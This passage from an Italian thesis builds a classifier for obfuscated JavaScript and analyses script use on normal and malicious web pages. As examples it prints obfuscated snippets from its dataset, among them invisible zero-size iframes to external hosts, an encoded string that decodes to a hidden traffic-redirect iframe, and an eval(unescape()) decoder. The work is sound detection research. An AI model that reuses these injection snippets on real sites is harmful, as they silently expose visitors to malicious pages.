Il nome risulta offuscato se si verificano entrambe le condizioni:

• e composto da piu di 5 caratteri;

• la sua percentuale di offuscamento, p, supera il 50%.

L’argomento risulta offuscato se si verificano entrambe le condizioni:

Page 56: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 42

• ha dimensione non nulla (o maggiore di 5 caratteri nel caso di variabili);

• la sua percentuale offuscamento, p, supera il 70%;

Nel caso di stringhe con piu di 140 caratteri l’argomento e offuscato anche se lapercentuale di caratteri di punteggiatura e minore del 5% rispetto al numero totale dicaratteri della stringa. Cio fa sı che vengano considerate offuscate anche quelle stringhemolto lunghe composte solamente, o per grossa parte, da lettere dell’alfabeto.

Nel caso, invece, dell’argomento dell’elemento iframe, esso viene marchiato comeoffuscato anche se si verifica almeno una delle condizioni:

• all’attributo visibility e associato il valore hidden;

• all’attributo width e associato un valore inferiore a 2;

• all’attributo height e associato un valore inferiore a 2.

La Tabella 5.1 riassume per ogni proprieta il criterio di offuscamento. Essa e com-posta da una riga per ogni proprieta. Mentre la prima colonna descrive la proprieta,ognuna delle rimanenti colonne specifica una condizione che puo essere composta da piu“sotto-condizioni” le quali devono tutte verificarsi affinche la condizione possa ritenersisoddisfatta.

Un item di una proprieta e offuscato se e solo se almeno una delle condizioni sussiste.

5.9.3 Esempi di proprieta offuscate

Per dissolvere qualsiasi possibile dubbio, nato dall’elenco delle condizioni che per ogniproprieta ne sanciscono l’offuscamento, viene ora proposta una carrellata di esempichiarificativi. Tutti gli esempi sono estratti degli script della tabella Ts.

5.9.3.1 Funzioni con nome offuscato

In uno script memorizzato in Ts, vengono definite tre funzioni, dal nome evidentementeoffuscato:

c07b380984r0368a7, r32fdfe1768, re15d694d.

5.9.3.2 Varibili con nome offuscato

In un altro script sono dichiarate undici variabili dai nomi “eloquenti”:

a7044tf, a7044pu, a7044pf, a7044su, a7044sf, a7044of, a7044op,

a7044ops, a7044ot, a7044d, a7044oe.

Page 57: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

43 La nostra analisi sull’offuscamento

Tabella 5.1: Proprieta e relative condizioni di offuscamento

Proprieta 1a Cond 2a Cond 3a Cond 4a Cond

Function name Length>5p >50%

Document.write Length>0p >70%

Iframe Length>0 visibility=hidden width<2 height<2p >70%

Variable name Length>5p >50%

Variable content Length>5p >70%

Long string Length>140 percentage ofp >70% punctuation

chars<5%

Eval Length>0p >70%

Unescape Length>0p >70%

Decode Length>0p >70%

Onerror Length>0p >70%

Exec Length>0p >70%

String.fromCharCode Length>0p >70%

String.charCodeAt Length>0p >70%

Math.random Length>0p >70%

Page 58: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 44

5.9.3.3 Variabile con argomento offuscato

1 var ne07614 =["128", "139", "127", "145", "137", "129", "138", "144

", "74", "131", "129", "144", "97", "136", "129", "137", "129",

"138", "144", "94", "149", "101", "128", "68", "62", "144", "

139", "140", "137", "129", "138", "145", "79", "79", "82", "62"

, "69", "74", "143", "144", "149", "136", "129", "74", "128", "

133", "143", "140", "136", "125", "149", "60", "89", "60", "62"

, "138", "139", "138", "129", "62", "87", "128", "139", "127",

"145", "137", "129", "138", "144", "74", "131", "129", "144", "

97", "136", "129", "137", "129", "138", "144", "94", "149", "

101", "128", "68", "62", "144", "139", "140", "137", "129", "

138", "145", "79", "79", "82", "62", "69", "74", "143", "144",

"149", "136", "129", "74", "146", "133", "143", "133", "126", "

133", "136", "133", "144", "149", "60", "89", "60", "62", "132"

, "133", "128", "128", "129", "138", "62", "87"];

Codice 5.19: Argomento offuscato di una variabile

5.9.3.4 document.write() con argomento offuscato

1 document.write(’<ahref="http ://www .51.la /?002347044"target="_blank

"title="&#x35;&#x31;&#x2E;&#x6C;&#x61;&#x20;&# x4E13 ;&# x4E1A ;&#

x3001 ;&# x514D ;&# x8D39 ;&# x3001 ;&# x5F3A ;&# x5065 ;&# x7684 ;&# x8BBF

;&# x95EE ;&# x7EDF ;&# x8BA1;">&# x7F51 ;&# x7AD9 ;&# x7EDF ;&# x8BA1;</a>

\n’)

Codice 5.20: Argomento offuscato di un document.write()

5.9.3.5 iframe con argomento offuscato

1 <iframe >id=\"baiduframe\"marginwidth =\"0\"marginheight =\"0\"

scrolling =\"no\"");document.writeln("framespacing =\"0\"vspace =\

"0\"hspace =\"0\"frameborder =\"0\"width =\"0\"height =\"0\"");

document.writeln("src=\"http :// unstat.baidu.com/bdun.bsc?tn=

jswindows_pg&cv=1& cid =216992& csid =242& bgcr=ffffff&ftcr =000000&

urlcr =0000ff&tbsz =335& sropls =1,2,3,4,5,6&kwgp =0\">");</iframe >

Codice 5.21: Argomento offuscato di un iframe

5.9.3.6 iframe invisibile

1 <iframe src="http :// pcjava.persiangig.ir/random/New %20 Text %20

Document.html"width =00 height =00 marginwidth =0 marginheight =0

hspace =0 vspace =0 frameborder =0 scrolling="no"></iframe >

Codice 5.22: iframe con gli attributi width e height nulli

Page 59: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

45 La nostra analisi sull’offuscamento

5.9.3.7 Stringa con argomento offuscato

1 c=T.7y();1e(c.1A+29.2f(1Q.1C.2e,1Q.1c.2e),c.1S+29.2f(1Q.1C.2c,1Q.1

c.2c));1e(-1Q.1C.6b,-1Q.1C.6a)}N{1e(T.5X,T.5W);1B(1s){1e(1s.5X

,1s.5W);G(42&&!/^t(98|d|h)$/i.11(1s.2j)||2k&&!5U)2C(1s);G(!3c

&&1g(1s,"30")=="3c")3c=M;4a=/^1c$/i.11(1s.2j)?4a:1s;1s=1s.1s}1B

(d&&d.2j&&!/^1c|2K$/i.11(d.2j)){G(!/^96|1T.*$/i.11(1g(d,"18")))

1e(-d.2e,-d.2c);G(42&&1g(d,"33")!="4j")2C(d);d=d.1d}G((5U&&(3c

||1g(4a,"30")=="5x"))||(42&&1g(4a,"30")!="5x"))1e(-1Q.1c.5X,-1Q

.1c.5W);G(3c)1e(29.2f(1Q.1C.2e,1Q.1c.2e) ,29.2f(1Q.1C.2c,1Q.1c.2

c))}

Codice 5.23: Argomento offuscato di una stringa

5.9.3.8 Stringa lunga priva di punteggiatura

rcDF60rcDF105rcDF102rcDF114rcDF97rcDF109rcDF101rcDF32rcDF119rcDF10

5rcDF100rcDF116rcDF104rcDF61rcDF34rcDF52rcDF56rcDF48rcDF34rcDF32rc

DF104rcDF101rcDF105rcDF103rcDF104rcDF116rcDF61rcDF34rcDF54rcDF48rc

DF34rcDF32rcDF115rcDF114rcDF99rcDF61rcDF34rcDF104rcDF116rcDF116rcD

F112rcDF58rcDF47rcDF47rcDF115rcDF101rcDF110rcDF100rcDF50rcDF57rcDF

57 rcDF51rcDF49rcDF46rcDF99rcDF110rcDF47rcDF116rcDF114rcDF97rcDF102

rcDF102rcDF47rcDF105rcDF110rcDF46rcDF99rcDF103rcDF105rcDF63rcDF50r

cDF34rcDF32rcDF115rcDF116rcDF121rcDF108rcDF101rcDF61rcDF34rcDF98rc

DF111rcDF114rcDF100rcDF101rcDF114rcDF58rcDF48rcDF112rcDF120rcDF59r

cDF32rcDF112rcDF111rcDF115rcDF105rcDF116rcDF105rcDF111rcDF110rcDF5

8rcDF114rcDF101rcDF108rcDF97rcDF116rcDF105rcDF118rcDF101rcDF59rcDF

32 rcDF116rcDF111rcDF112rcDF58rcDF48rcDF112rcDF120rcDF59rcDF32rcDF1

08 rcDF101rcDF102rcDF116rcDF58rcDF45rcDF53rcDF48rcDF48rcDF112rcDF12

0rcDF59rcDF32rcDF111rcDF112rcDF97rcDF99rcDF105rcDF116rcDF121rcDF58

rcDF48rcDF59rcDF32rcDF102rcDF105rcDF108rcDF116rcDF101rcDF114rcDF58

rcDF112rcDF114rcDF111rcDF103rcDF105rcDF100rcDF58rcDF68rcDF88rcDF73

rcDF109rcDF97rcDF103rcDF101rcDF84rcDF114rcDF97rcDF110rcDF115rcDF10

2rcDF111rcDF114rcDF109rcDF46rcDF77rcDF105rcDF99rcDF114rcDF111rcDF1

15 rcDF111rcDF102rcDF116rcDF46rcDF65rcDF108rcDF112rcDF104rcDF97rcDF

40 rcDF111rcDF112rcDF97rcDF99rcDF105rcDF116rcDF121rcDF61rcDF48rcDF4

1rcDF59rcDF32rcDF45rcDF109rcDF111rcDF122rcDF45rcDF111rcDF112rcDF97

rcDF99rcDF105rcDF116rcDF121rcDF58rcDF48rcDF34rcDF62rcDF60rcDF47rcD

Codice 5.24: Argomento offuscato di una stringa lunga

5.9.3.9 eval() con argomento offuscato

1 eval(unescape(’function %20 AGAHlA %28 SCSL %29%7 BR_GHH %3Dnew %20 String

%28 arguments.callee %29. replace %28/%5B%5E@a -z0 -9A-Z_.%5D/g%2C

%27%27%29%2 CH_ShH %3D%27%27%2 CAsRG %3D-1%2 CASaIS_ %3D-1%3 Bvar %20

HpCh%3D0%3Bfor %28 AsRG%3D0%3 BAsRG%3 CR_GHH.length %3 BAsRG ++%29 HpCh

Page 60: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 46

%5E%3 DR_GHH.charCodeAt %28 AsRG %29%3 BAsRG%3D-1%3 Bwhile %28++ ASaIS_

%3 CSCSL.length %29%7 Bif %28 AsRG%3D%3 DR_GHH.length %29 AsRG%3D0%3

Belse %20 AsRG ++%3 BH_ShH +%3 DString.fromCharCode %28 HpCh%5ESCSL.

charCodeAt %28 ASaIS_ %29%5 ER_GHH.charCodeAt %28 AsRG %29%29%3B%7

Ddocument.write %28 H_ShH %29%3 BH_ShH %3D%27%27%3 Breturn %3B%7D’));

Codice 5.25: Argomento offuscato di un eval()

5.9.3.10 unescape() con argomento offuscato

1 unescape("%3 Ciframe %20 name%3D%22 adprotest %22%20 width %3D%22"+wi+"

%22%20 height %3D%22"+he+"%22%20 frameborder %3D%220%22%20 src%3D%22

http%3A// scripts.chitika.net/static/adpro.html %22%20 marginwidth

%3D%220%22%20 marginheight %3D%220%22%20 vspace %3D%220%22%20 hspace

%3D%220%22%20 allowtransparency %3D%22 true %22%20 scrolling %3D%22no

%22%3E%3C/iframe %3E")

Codice 5.26: Argomento offuscato di un unescape()

Scrutando la stringa contenuta all’interno dell’unescape(), si puo notare come vengadefinito un iframe che punta all’url http://scripts.chitika.net/static/adpro.html.

5.9.4 Il test con gli analisti

Dalla tabella degli script Ts, descritta al paragrafo 4.1.1 di pagina 19, si e estratto unsottoinsieme delle righe per comporre la tabella T ′

s.

La tabella T ′s risulta quindi essere formata da 1000 righe. Essa e stata progettata in

modo tale da non presentare righe con codice dello script uguale. Inoltre, per popolareT ′s si e cercato di rispecchiare la distribuzione del contenuto della tabella Ts, tenendo

conto della distribuzione di script secondo il tipo di pagina e il tipo di script e delladimensione del corpo dello script.

Successivamente si e costituito un panel di 77 analisti JavaScript. Gli analisti sonostati selezionati fra gli studenti del corso di laurea specialistica in Ingegneria Informaticae fra i collaboratori del laboratorio di Reti di Calcolatori dell’Universita di Trieste.

Le fasi del test, cui sono stati sottoposti i soggetti, si possono cosı elencare:

• durante una fase propedeutica al test, il partecipante ha risposto ad alcune do-mande volte a quantificare il livello inividuale di esperienza circa l’argomento;

• quindi al soggetto sono stati proposti 100 script scelti in maniera casuale dallatabella T ′

s;

• per ogni script l’analista e stato invitato a rispondere alla domanda “Ritieni chequesto codice sia offuscato (anche solo parzialmente)?”. La risposta doveva rien-trare tra una delle seguenti opzioni: Sı, No, Non so.

Page 61: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

47 Due criteri di offuscamento per gli script

A partire dai risultati del test e stata costruita un’ulteriore tabella, T ′′s , con una riga

per ogni script catalogato in T ′s (dunque 1000 righe) e tre colonne con i risultati emersi

dal test con gli analisti, definite ripettivamente sı, no e non so. Considerata la rigan-esima, la prima delle tre colonne riporta il numero di analisti che ha definito offuscatol’n-esimo script di T ′

s, la seconda il numero di analisti che ha considerato tale script nonoffuscato mentre la terza colonna contiene il numero di analisti che non si sono espostirelativamente all’n-esimo script.

Da T ′′s sono state eliminate tutte quelle righe riguardanti gli script con meno di due

giudizi (1 o 0) o senza una maggioranza netta per uno dei due casi, sı o no.Lungo il prossimo elenco si riportano, nello specifico, i dati del test svolto dai 77

analisti sui 1000 script selezionati:

• script valutati: 893;

• script non valutati: 107.

Gli 893 script valutati si possono distinguere in:

• script con nessun o un giudizio: 202;

• script con piu di un giudizio: 691.

I 691 script con piu di un giudizio si possono separare in:

• script con maggioranza di favore nel giudizio: 561 (cioe script per i quali almenoil 50% degli analisti ha risposto alla domanda con un Sı o con un No);

• script senza maggioranza di favore nel giudizio: 130.

Fra i 130 script senza maggioranza di favore nel giudizio si individuano:

• 81 script per i quali gli analisti hanno risposto all’unanimita con l’opzione Non so.

Alla fine di tutto cio, dunque, T ′′s comprendeva 561 script. Per ciascuno dei 561 script

e stata calcolata la percentuale di analisti che ha fornito giudizio comune. Analizzandoquesti dati, riportati in Tabella 5.2 a pagina 48, si riscontra che per il 66% degli scriptin T ′′

s la totalita degli analisti, esaminatrice di quegli script, ha fornito lo stesso giudizio,d’altro canto in quasi il 18% dei casi la percentuale di giudizi comuni rimane fra il 51%e il 67% delle valutazioni.

T ′′s ha rappresentato il ground truth per alcune delle considerazioni successive.

5.10 Due criteri di offuscamento per gli script

Per stabilire quali degli script presenti in tabella Ts fossero offuscati, sono state seguitedue strade, ognuna delle quali ha associato a ciascuno script un bit di offuscamento.Entrambi i criteri sono basati su un insieme di features ottenute dall’analisi degli script.

Page 62: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 48

Tabella 5.2: Percentuali di giudizi comuni associate agli script

Numero Range di percentuali Percentualedi script in T ′′

s di preferenze comuni di script in T ′′s

100 51% 67% 17, 83%73 70% 80% 13%16 83% 90% 2, 85%372 100% 66, 32%

Totali 561 100%

Con il termine feature si indica il numero di items, compresi nell’insieme associato aduna particolare proprieta estratta dallo script, che soddisfa il criterio di offuscamentoper quella proprieta.

In Tabella 5.3 a pagina 49 si riporta l’elenco delle features con relativa descrizione.In primo luogo si e deciso di costruire un classificatore Multilayer Perceptron sulla

base dei 561 script che rappresentano la ground truth ottenuta dai risultati degli anali-sti. Il Multilayer Perceptron (MLP) e un modello di rete neurale che mappa i dati diingresso forniti su dati di uscita appropriati. Esso comprende uno strato di neuroni diingresso, almeno uno strato di neuroni interno e uno strato di neuroni di uscita; la rete ecompletamente interconnessa e riceve valori continui, ha una funzione di ingresso sommae funzioni di attivazione solitamente non lineari.

I parametri del classificatore sono stati settati in modo da minimizzare la somma difalsi positivi e falsi negativi sugli script di T ′′

s .Il classificatore e stato poi applicato a tutti gli script di Ts, fornendo a ciascuno un

primo bit di offuscamento.Il secondo bit di offuscamento, invece, e stato ricavato imponendo delle soglie:

• nella maggior parte dei casi, sulle features relative alle proprieta estratte dalloscript e risultate offuscate secondo i criteri elencati in Tabella 5.1 (ad esempio sulnumero di function con nome offuscato, oppure sul numero di document.wite(),iframe, eval(), unescape(), onerror(), exec() e decode() con argomentooffuscato);

• per cinque proprieta (Eval, Unescape, String.fromCharCode, String.CharCodeAt,Math.random) la soglia e stata imposta sul numero di occorrenze estratte (senzaaver applicato il criterio dell’offuscamento sulle proprieta);

• un’ulteriore soglia e stata riservata al numero di occorrenze di eval() con argo-mento di dimensioni superiori ai 140 caratteri.

Qualora la feature di una proprieta superi la soglia ad essa assegnata, lo script vienemarchiato come offuscato.

Le soglie sono state scelte sulla base di osservazioni condotte su script ritenuti da noivisibilmente offuscati.

Page 63: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

49 Due criteri di offuscamento per gli script

Tabella 5.3: Features

Nome della feature Descrizione

Number of Obfuscated numero di funzioniFunction name con nome offuscato

Number of Obfuscated numero di document.write()Document.write con argomento offuscato

Number of Obfuscated numero di iframeIframe con argomento offuscato o “invisibili”

Number of Obfuscated numero di variabiliVariable name con nome offuscato

Number of Obfuscated numero di variabiliVariable content con argomento offuscato

Number of Obfuscated numero di stringhe superiori ai 140 caratteriLong String con argomento offuscato

Number of numero di occorrenzeEval di eval()

Number of Obfuscated numero di eval()Eval con argomento offuscato

Number of numero di eval()Eval with long argument con argomento superiore ai 140 caratteri

Number of numero di occorrenzeUnescape di unescape()

Number of Obfuscated numero di unescape()Unescape con argomento offuscato

Number of Obfuscated numero di decode()Decode con argomento offuscato

Number of Obfuscated numero di onerror()Onerror con argomento offuscato

Number of Obfuscated numero di exec()Exec con argomento offuscato

Number of numero di occorrenzeString.fromCharCode di String.fromCharCode()

Number of numero di occorrenzeString.charCodeAt di String.charCodeAt()

Number of numero di occorrenzeMath.random di Math.random()

La Tabella 5.4 a pagina 50 per ogni feature riporta la soglia che deve essere superataaffinche lo script venga ritenuto offuscato. Mentre la prima colonna di ogni riga descriveil nome della feature, la seconda contiene la relativa soglia.

Page 64: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 50

Se almeno una feature supera la soglia, lo script risulta offuscato.

Tabella 5.4: Soglie sulle features per il secondo bit di offuscamento dello script

Feature Soglia

Number of ObfuscatedFunction name 0

Number of ObfuscatedDocument.write 0

Number of ObfuscatedIframe 0

Number of ObfuscatedVariable name 4

Number of ObfuscatedVariable content 4

Number of ObfuscatedLong String 0

Number ofEval 2

Number of ObfuscatedEval 0

Number ofEval with long argument 0

Number ofUnescape 2

Number of ObfuscatedUnescape 0

Number of ObfuscatedDecode 0

Number of ObfuscatedOnerror 0

Number of ObfuscatedExec 0

Number ofString.fromCharCode 4

Number ofString.charCodeAt 4

Number ofMath.random 4

Page 65: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Capitolo 6Analisi

Lungo questo capitolo vengono esposti i risultati emersi dall’analisi condotta sui datiin nostro possesso con l’obiettivo di rispondere ai cinque macroquesiti delineati nellasezione 2.6.1 di pagina 12.

Per alcune delle domande si e risposto procedendo con una serie di interrogazionisulle informazioni contenute all’interno della tabella degli script, Ts, e della tabella deiframe e degli iframe Ti. In altri casi, invece, sono state svolte delle elaborazioni sulleproprieta estratte.

Il capitolo e organizzato secondo l’ordine delle cinque domande. In ciascuna sezionevengono esaminati i risultati dell’analisi circa il rispettivo quesito citando dati puntali ofornendo grafici esplicativi.

6.1 Caratterizzazione generale

Prima di entrare nel vivo dei cinque macroquesiti, si e ritenuto opportuno fornire unacaratterizzazione generale relativa all’uso attuale di script JavaScript nelle pagine web.

6.1.1 Caratterizzazione a livello pagina

Inizialmente abbiamo voluto indagare sulla distribuzione degli script per pagina. Nellospecifico ci siamo chiesti quanti script fossero mediamente inclusi all’interno delle pagineweb e quale fosse la dimensione totale degli script presenti nelle varie pagine.

Il grafico 6.1(a) illustra l’inclusione di script nelle pagine di tipo Normal, mentre ilgrafico 6.1(b) si riferisce alle pagine Malicious.

Nei grafici l’andamento complessivo degli script (senza distinzione fra le varie tipo-logie) e rappresentato da una linea rossa, l’andamento degli Embedded Script si evincedalla linea verde mentre quello dei Child Script dalla linea azzurra ed infine la linea violariporta l’andamento degli Intrinsic Event.

51

Page 66: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

6. Analisi 52

Mediamente le pagine Normal includono un numero di script superiore rispetto allepagine Malicious e alle pagine Interesting, delle quali non si riporta il grafico perchesimile a quello in figura 6.1(b).

(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious

Figura 6.1: Grafici di distribuzione sul numero di script inclusi per pagina

Nella coppia di grafici di Figura 6.2 in ascissa e riportata la somma delle dimensionidegli script contenuti in una pagina mentre in ordinata e presente il numero di pagineper le quali la somma delle dimensioni degli script inclusi e pari alla rispettiva ascissa.

(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious

Figura 6.2: Grafici di distribuzione cumulativa sulla somma delle dimensioni degli script perpagina

Si puo notare come nella pagine Normal gli script caratterizzati da dimensioni mag-giori appartengano alla tipologia Child, quindi definiti all’esterno della pagina web,mentre nelle pagine Malicious gli script piu corposi siano gli Embedded.

Page 67: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

53 Inclusione di script da url diversi

Come si poteva presupporre gli Intrinsic Event sono contraddistinti dalle dimensioniminori, infatti nella maggior parte dei casi essi racchiudono solamente un comando (adesempio l’apertura di una finestra scatenata da uno specifico click del mouse).

6.1.2 Caratterizzazione a livello script

Dall’analisi generale sulle pagine si e voluto scendere a livello script.Nei grafici successivi si puo apprezzare meglio quanto affermato nella sezione pre-

cedente, in termini di relazione fra dimensione degli script, classe degli script e tipo dipagina.

Nella coppia di grafici di Figura 6.3 in ascissa e riportata la dimensione in caratteridello script mentre in ordinata e presente il numero di script con dimensione pari a quelladella rispettiva ascissa.

L’andamento delle dimensioni degli script nelle pagine Interesting e nuovamentemolto simile a quello illustrato dal grafico di Figura 6.3(b).

(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious

Figura 6.3: Grafici di distribuzione cumulativa sulla dimensione degli script in caratteri

6.2 Inclusione di script da url diversi

Nel rispondere alla prima delle cinque domande e emerso come l’inclusione di scriptda domini diversi sia una pratica frequente nelle pagine Normal. Infatti, quasi il 90%delle pagine afferenti a questa categoria include Embedded Script, probabilmente tramiteiframe, da almeno un altro dominio, il 20% presenta Child Script provenienti da duedomini diversi ed infine, in poco meno del 10% di pagine, sempre i Child Script sonoinclusi da tre domini differenti.

Come si puo notare dal grafico di Figura 6.4(a), il numero di url diversi non si fermapero a tre, infatti, seppur minima, esiste una percentuale di pagine che punta a cinquediversi domini per includere script.

Page 68: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

6. Analisi 54

Mentre nelle pagine Interesting non si riscontrano inclusioni di script da altri domini,nelle pagine Malicious il fenomeno e presente ma limitato rispetto al contesto delle pagineNormal. Infatti, in questo caso, gia considerando due domini diversi la percentuale dipagine diventa irrisoria.

Nella coppia di grafici di Figura 6.4 al numero di domini diversi per l’inclusione discript viene associato il rispettivo numero di pagine.

(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious

Figura 6.4: Grafici di distribuzione sull’inclusione di script da domini diversi

6.3 Massima profondita di inclusione degli script

Con la seconda domanda si e voluto approfondire la questione circa la profondita del-l’inclusione degli script.

Tale profondita si puo ricavare analizzando la lista degli URL appartenenti alla se-quenza di download dello script (contenuta nel campo List of HTTP redirection for thescript della tabella Ts e descritto al paragrafo 4.1.1 di pagina 19).

La profondita e stata osservata sia considerando che non considerando il numero dellepossibili redirezioni riscontrate lungo l’elenco di URL dello scaricamento.

6.3.1 Massima profondita osservata a livello pagina

Analizzando la massima profondita, senza considerare i redirect, si evince che solo il 15%delle pagine Normal presenta esclusivamente script con una profondita massima unitaria,quindi script definiti all’interno della pagina (Local Embedded Script e Local IntrinsicEvent), mentre nella maggior parte delle pagine la profondita massima raggiunta e paria due.

Come si puo rilevare dal grafico 6.5(a) il valore piu elevato di profondita massimaraggiunta da pagine di tipo Normal e pari a quattro mentre si ferma a due sia nel casodelle Malicious (vedi il grafico 6.5(b)) che nel caso delle Interesting.

Page 69: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

55 Massima profondita di inclusione degli script

(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious

Figura 6.5: Grafici di distribuzione sulla massima profondita senza redirezioni per il numero dipagine

Se si vanno a considerare anche le redirezioni, nel grafico 6.6(a) si nota come esistaqualche caso di pagina Normal che include script con profondita massima pari a dodici.Tale profondita risulta essere doppia rispetto a quella evidenziata nel grafico 6.6(b) per lepagine Malicious. Nelle pagine Interesting la situazione e analoga al caso senza redirect.

(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious

Figura 6.6: Grafici di distribuzione sulla massima profondita con redirezioni per il numero dipagine

Page 70: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

6. Analisi 56

6.3.2 Massima profondita osservata a livello script

Scendendo al livello dello script, si e deciso di associare alla profondita massima larelativa percentuale di script. Inizialmente tale percentuale e stata calcolata sul numeroassoluto di script mentre in un secondo momento e stata calcolata sulle dimensioni degliscript.

Se si considera la percentuale sul numero degli script, dal grafico 6.7(a) si desumeche quasi l’85% degli script presenti nelle pagine Normal e contraddistinto da livello diprofondita pari a uno, si tratta quindi di script definiti all’interno della pagina, mentresolamente il 13% circa e caratterizzato da livello di profondita uguale a due e cosı ascemare per gli altri due livelli.

Questa differenza netta fra il primo e il secondo livello di profondita in termini dipercentuali sul numero di script e piu smussata ma ancora chiara nelle altre due tipologiedi pagine. Sia per quanto riguarda le pagine Malicious che le pagine Interesting, infatti,la percentuale di script con profondita massima unitaria e pari al 70% mentre scende al30% se si considera il secondo livello di profondita.

(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious

Figura 6.7: Grafici di distribuzione sulla massima profondita senza redirezioni per la percentualedi script calcolata sulla numero assoluto degli stessi

Se si considera la percentuale calcolata sulla dimensione degli script, la situazionenon varia eccessivamente nel caso delle pagine Malicious (infatti la profondita unitariapassa dal 70% al 60% e quella al secondo livello dal 30% passa al 36%, come si deducedal grafico 6.8(b)), mentre subisce letteralmente una trasformazione nel caso delle altredue categorie di pagine. Il grafico 6.8(a) mette in luce che piu dell’85% del codice inclusonelle pagine Normal ha profondita massima di livello due. Questa variazione di tendenzae spiegata dai Child Script presenti nelle pagine Normal. Infatti, come gia illustrato nelgrafico 6.3(a), sebbene i Child Script siano numericamente inferiori agli Embedded Scriptsono nettamente piu corposi rispetto a questi. Nelle pagine Interesting la percentuale

Page 71: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

57 Utilizzo di eval()

associata al secondo livello di profondita sale addirittura al 90%, mentre il restante 10%e coperto dagli script a profondita unitaria.

(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious

Figura 6.8: Grafici di distribuzione sulla massima profondita senza redirezioni per la percentualedi script calcolata sulla dimensione degli stessi

Benche i grafici precedenti facciano tutti riferimento al livello di profondita che noncontempla il numero di redirect, la situazione si mantiene analoga nel caso in cui siconsiderino anche le redirezioni.

6.4 Utilizzo di eval()

Per rispondere al quarto macro quesito sono stati esaminati tre diversi impieghi del-la funzione eval(), procedendo al confronto fra le tipologie di pagine e fra le diversecategorie di script all’interno delle pagine.

Nel seguito sono riportati i grafici a barre relativi l’utilizzo di eval(). In ciascungrafico la prima barra rappresenta la totalita delle pagine, la seconda si riferisce alle solepagine Normal, la terza a quelle Malicious e infine l’ultima alle Interesting. Ogni barraa sua volta e suddivisa in sezioni tramite le quali si distinguono le diverse categorie discript.

6.4.1 Diffusione generale dell’utilizzo di eval()

Se si esaminano le pagine senza suddivisione per tipologia, dal grafico 6.9 di pagina 58si evince che nel 2,8% degli script e presente la funzione eval(), percentuale che crescenotevolmente nel caso delle pagine Malicious e Interesting.

Inoltre si puo notare come l’utilizzo di eval() differisca fra le varie pagine ancheconsiderando la tipologia degli script. Infatti, mentre nella pagine Interesting e, soprat-tutto, Normal la maggior parte degli script contenenti eval() fa parte della categoria

Page 72: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

6. Analisi 58

Child Script, nelle pagine Malicious l’uso della funzione in esame e predominante negliEmbedded Script.

Figura 6.9: Grafico a barre sull’utilizzo di eval()

6.4.2 Diffusione dell’utilizzo di eval() con argomento lungo

L’uso di eval() negli Embedded Script delle pagine Malicious e ancora piu evidentese si prende in considerazione l’utilizzo di tale funzione con argomento di dimensionimaggiori ai 140 caratteri (vedi grafico 6.10). Infatti, se nelle pagine Normal la ripartizionedell’uso di questo tipo di eval() fra le categorie di script e simile al caso generale, nellepagine Malicious la totalita degli script contenti questo genere di eval() e costituitada Embedded Script. Inoltre, si puo osservare come nelle pagine Interesting non sianopresenti script che utilizzino eval() con argomento di grosse dimensioni.

Figura 6.10: Grafico a barre sull’utilizzo di eval() con argomento superiore a 140 caratteri

Page 73: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

59 Utilizzo di iframe sospettosamente piccoli

6.4.3 Diffusione dell’utilizzo di eval() con argomento offuscato

Soffermandosi, invece, sull’utilizzo di eval() con contenuto offuscato (come definitonella sezione 5.9.2 di pagina 41), la situazione, illustrata nel grafico 6.11, rimane pres-soche invariata ripetto alla precedente per le pagine Normal e Malicious mentre subisceun’inversione di tendenza per le pagine Interesting.

Figura 6.11: Grafico a barre sull’utilizzo di eval() con argomento offuscato

6.5 Utilizzo di iframe sospettosamente piccoli

A questa quarta domanda e stato possibile rispondere in maniera esaustiva esclusivamen-te per il caso delle pagine Normal, poiche nel nostro dataset il numero di pagine Maliciouscontenenti iframe risulta essere insignificante e si riduce a zero se si considerano le pagineInteresting.

Si e proceduto interrogando la tabella Ti dei frame e degli iframe in modo tale daottenere frame e iframe con entrambi gli attributi, width e height, minori di 3 pixel.

Nel grafico 6.12 a pagina 60 la linea azzurra indica l’inclusione di “piccoli” iframeScript Embedded, dunque gli iframe contenuti nel corpo di uno script, mentre la lineaverde rappresenta l’inclusione all’interno del codice HTML della pagina di “piccoli” framee iframe (gli HTML Embedded).

Come si puo notare, osservando il grafico 6.12, l’8,5% delle pagine Normal includeun frame o un iframe praticamente invisibile, il 3% delle pagine ne include due, l’1% tre.Seppur minima esiste addirittura una percentuale di pagine che arriva ad includerne finoa sedici.

Page 74: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

6. Analisi 60

